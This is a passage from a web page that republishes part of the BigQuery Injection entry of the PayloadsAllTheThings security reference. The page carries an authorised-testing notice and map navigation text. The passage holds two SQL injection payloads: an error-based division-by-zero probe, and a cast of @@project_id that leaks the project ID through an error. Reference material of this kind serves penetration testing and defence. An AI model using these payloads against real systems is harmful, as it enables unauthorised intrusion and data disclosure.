SQL Injection · passage 31 of 186
Text · SQL Injection/BigQuery Injection.md
For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.
Open this passage on GitHub| SQL Query | Description | | -------------------------------------------------------- | ---------------- | | `' OR if(1/(length((select('a')))-1)=1,true,false) OR '` | Division by zero | | `select CAST(@@project_id AS INT64)` | Casting |
Source: SQL Injection/BigQuery Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.
Every one of the 186 is a mark on the map. Named now: 27 to 52, reading order first.
Zoom in on the map and the dots under the middle of it are named where they are.
Data as of 2026-11-14. CVE List through 2026-11-14 · EPSS of 2026-11-13 · CISA KEV checked 2026-11-14. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only.